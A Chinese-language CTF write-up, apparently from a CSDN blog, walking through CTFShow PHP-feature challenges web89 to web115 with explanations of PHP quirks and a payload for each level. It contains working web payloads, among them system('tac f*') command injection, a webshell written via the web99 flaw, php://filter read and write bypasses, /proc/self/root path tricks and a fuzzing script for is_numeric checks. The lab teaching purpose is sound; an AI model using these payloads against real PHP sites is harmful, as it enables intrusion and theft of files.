CTFShow-PHP特性篇(一) (web89-web115)

这篇博客详细介绍了CTF挑战中涉及的PHP特性,包括数组绕过、模式修饰符m、弱类型判断、变量覆盖、反射类、字符串过滤函数等。通过多个实例分析了如何利用这些特性解决web89到web115的挑战,如preg_match()的数组参数处理、intval()函数的使用、浮点数比较问题以及ereg()函数的漏洞等。
摘要由CSDN通过智能技术生成

web89

数组绕过
在这里插入图片描述
原理:
在这里插入图片描述
且 preg_math()传入数组参数也会直接返回0

web90

?num=0x117c 0x117c会转为4476
还是考察intval()函数

intval( mixed $var[, int $base = 10] ) : int

var
要转换成 integer 的数量值
base
转化所使用的进制 
Note: 
如果 base 是 0,通过检测 var 的格式来决定使用的进制: 
◦ 如果字符串包括了 "0x" ("0X") 的前缀,使用 16 进制 (hex);否则,  
◦ 如果字符串以 "0" 开始,使用 8 进制(octal);否则,  
◦ 将使用 10 进制 (decimal)

web91

考察PHP模式修饰符m (PCRE_MULTILINE)
默认情况下,PCRE 认为目标字符串是由单行字符组成的(然而实际上它可能会包含多行), "行首"元字符 (^) 仅匹配字符串的开始位置而"行末"元字符 ($) 仅匹配字符串末尾,或者最后的换行符(除非设置了 D 修饰符)

当这个修饰符设置之后,"行首"和"行末"就会匹配目标字符串中任意换行符之前或之后

当目标字符串中有换行符或者匹配中出现^或者$会受到影响

和这个相关的还有一个apache的解析漏洞 https://www.leavesongs.com/PENETRATION/apache-cve-2017-15715-vulnerability.html

payload:1%0aphp
在这里插入图片描述

web92

  1. ?num=0x117c
    原理参考官方文档-intval()
  2. ?num=4476e10
    应该和浮点数表示有关 这里提到PHP浮点数不能直接比较相等https://www.cnblogs.com/youyoui/p/8479248.html
    另外 PHP浮点数范围 -3.4E+38 ~ 3.4E+38 https://www.php.cn/faq/453900.html
    在这里插入图片描述

web93

?num=4476.1
在这里插入图片描述
或者还可以使用八进制

二进制0bxxx
八进制0xxxxxx
十六进制0xaaaa

在这里插入图片描述

web94

?num=4476.01

web95

?num=+010574

web96

在这里插入图片描述
?u=./flag.php

web97

数组绕过 POST a[]=1&b[]=2

在这里插入图片描述

web98

在这里插入图片描述
在这里插入图片描述

web99

考察 弱类型-in_array()
在这里插入图片描述

直接写shell,如果不成功多试几次
在这里插入图片描述
蚁剑连接
在这里插入图片描述

web100

这里有个小特性是,PHP里面 =的优先级是比and优先级高的
and or&& ||区别就是优先级不同前者的在=后面,后者在=前面
可以构造 var_dump(get_class_vars(‘ctfshow’));
在这里插入图片描述

web 101

构造echo new ReflectionClass('ctfshow');

?v1=1&v2=echo new ReflectionClass&v3=;

反射类:https://www.php.net/manual/zh/class.reflectionclass.php

web102 web103

payload:
GET v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64- decode/resource=2.php POST v1=hex2bin

本意是考察hex2bin()bin2hex()
在这里插入图片描述
php5环境下

在这里插入图片描述
php7环境下
在这里插入图片描述
利用GET或者POST等方式传参默认为字符串,所以本题payload就略难构造
必须构造一个经过bin2hex()函数转换后只有纯0-9和e的字符串

web104

GET ?v2=1 POST v1=1
应该是考察 https://blog.csdn.net/qq_19980431/article/details/83018232

web105

考察变量覆盖
这里有一个PHP语言的小特性即变量不需要声明
在这里插入图片描述
可以先定义变量$a=$flag,再让$error=$a
在这里插入图片描述

web106

?v2=aaroZmOk v1=aaK1STfY
考察https://blog.csdn.net/qq_19980431/article/details/83018232

web107

?v3=s878926199a v1=flag=0

web108

payload: ?c=a%00778
考察ereg()截断漏洞.参考:https://blog.csdn.net/qq_25987491/article/details/79952393

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符大小写敏感

这里ereg有两个漏洞:
①%00截断及遇到%00则默认为字符串的结束
②当ntf为数组时它的返回值不是FALSE
数组绕过匹配:
在这里插入图片描述

web109

只要让new后面有个类不报错以后,就可以随意构造

payload:
v1=Exception();system('tac f*');//&v2=a
v1=ReflectionClass&v2=system('tac f*')

web110

payload: ?v1=FilesystemIterator&v2=getcwd
考察FilesystemIterator.

在这里插入图片描述
在这里插入图片描述

web111

?v1=ctfshow&v2=GLOBALS
很容易想到变量覆盖,但是找不到flag存在哪个变量
考察 全局变量GLOBALS

web112

绕过
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){ die("hacker!");
读文件过滤姿势:
php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php

web113

?file=compress.zlib://flag.php
或者
/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/ self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se lf/root/proc/self/root/var/www/html/flag.php

web114

?file=php://filter/resource=flag.php

web115

思路:FUZZ绕过is_numeric和trim

脚本:

for ($i=0; $i <128 ; $i++) { 
    $x=chr($i).'1';
   if(is_numeric($x)==true){
        echo urlencode(chr($i))."\n";
   }
}
// %09 %0A %0B %0C %0D + %2B - .
for ($i=0; $i <128 ; $i++) { 
    $x=chr($i).'1';
   if(trim($num)!=='36' and is_numeric($x)==true){
        echo urlencode(chr($i))."\n";
   }
}
// %09 %0A %0B %0C %0D + %2B - .
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}

for ($i=0; $i <128 ; $i++) { 
    $x=chr($i).'36';
 	 if(is_numeric($x) and $x!=='36' and trim($x)!=='36' and filter($x)=='36'){
       		 echo urlencode(chr($i))."\n";
   	}
}
//%0c

可以FUZZ处理payload%0c36

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值